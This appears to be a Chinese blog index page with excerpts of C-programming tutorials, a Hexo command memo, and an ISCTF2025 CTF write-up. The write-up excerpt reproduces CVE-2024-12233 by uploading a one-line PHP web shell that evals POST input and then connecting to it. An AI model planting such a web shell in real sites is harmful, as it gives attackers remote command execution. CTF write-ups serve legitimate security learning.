3. 流程控制 (循环结构)
第三章:流程控制 (循环结构)本章核心: 让程序学会“重复做某事”(转圈圈)。 1. for 循环适用于已知循环次数的情况。这是最常用的循环。 123for (初始化; 条件判断; 步进) { // 循环体代码} 初始化:循环开始前执行一次(如 int i = 0)。 条件判断:每次循环前检查,如果为真就继续,为假就停止(如 i < 10)。 步进:每次循环结束后执行(如 i++,表示 i 加 1)。 习题 1 (对应:for 循环与累加器)题目: 编写程序,计算从 1 加到 100 的总和 ($1 + 2 + 3 + \dots + 100$)。 要求: 必须使用 for 循环。 定义变量 sum 存储总和,必须初始化为 0。 预期输出结果: 11到100的和是: 5050 答案: 1234567891011#include <stdio.h>int main() { int sum = 0; // ⚠️ 易错点:累加器必须初始化为 0 for(int i = 1; i <= 10...
ISCTF2025 wp
1. \b@by n0t1ce b0ard提示很明显了,是CVE-2024-12233,上网查找进行复现 例如Email: 111@test.com,同时上传shell.php,内容如下: 1<?php @eval($_POST['cmd']); ?> 然后蚁剑连接http://[题目IP]/images/111@test.com/shell.php 2. 难过的bottle1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241...
2. 流程控制(选择结构)
第二章:流程控制 (选择结构) 本章核心: 让程序学会“思考”和“做决定”(如果…就…,否则…)。 1. 关系运算符与逻辑运算符判断语句基于关系运算符(例如 >、==)的结果(真或假)。 1.1 关系运算符== (等于), != (不等于), >, <, >=, <=。 1.2 逻辑运算符&& (与), || (或), ! (非)。 补充考点: 数学写法 vs C 语言写法: 数学里写:$0 < x < 10$ C 语言必须写成:(x > 0) && (x < 10) 优先级: ! (最高) > 算术运算符 > 关系运算符 > && > || (最低)。 习题 1 (对应:关系与逻辑运算)题目: 编写代码判断输入的三个整数 a, b, c 能否构成三角形。 构成三角形的条件: 任意两边之和大于第三边。 要求: 使用逻辑与运算符 && 连接三个条件。 预期输出结果: 12请输入三边: 3 4 5可以构成三角形 答案:...
1. C语言基础与数据
第一章:C 语言基础与数据 1. C 语言程序的最小结构所有的 C 语言程序都始于一个核心结构。 代码行 作用 解释 #include <stdio.h> 头文件包含 引入标准输入输出库(Standard Input/Output)。printf 函数就定义在这个库中。没有它,你就不能在屏幕上打印任何东西。 int main() { ... } 主函数定义 main 是 C 程序的入口点。操作系统就是从这里开始执行你的程序的。int 表示这个函数执行完毕后会返回一个整数值。 printf("..."); 核心输出语句 调用 printf 函数,将括号内的字符串内容打印到屏幕上。\n 是一个转义字符,表示换行。 return 0; 程序返回 告诉操作系统程序已经成功执行完毕。在 C 语言中,return 0 通常表示程序正常退出。 习题 1 (对应:C 语言程序的最小结构)题目: 请编写一个完整的 C 语言程序,在屏幕上打印输出字符串 Hello, World! 并换行。 要求: 包含必要的头文件,主函数结构完...
Hexo命令与配置备忘录
这是一篇写给我自己的备忘录,记录了博客日常维护、写文章和修改配置的常用命令。 常用命令速查在终端进入博客目录 ~/Hello_CTF/my_ctf_blog 后使用。 1. 发布博客 创建新的markdown文件: 1hexo new "新的wp" 然后目录出现新的wp.md 根据自身要求修改文件属性: 1234567891011---title: 这里写文章标题 # 标题:随便写,支持中文date: 2025-12-09 18:00:00 # 发布时间:注意格式,冒号后有空格updated: 2025-12-10 12:00:00 # 更新时间:可选,不写默认等于发布时间tags: # 标签:扁平化,一篇可以有多个 - CTF - Webcategories: # 分类:层级化,支持父子关系 - 学习笔记 #父分类 - 渗透测试 ...



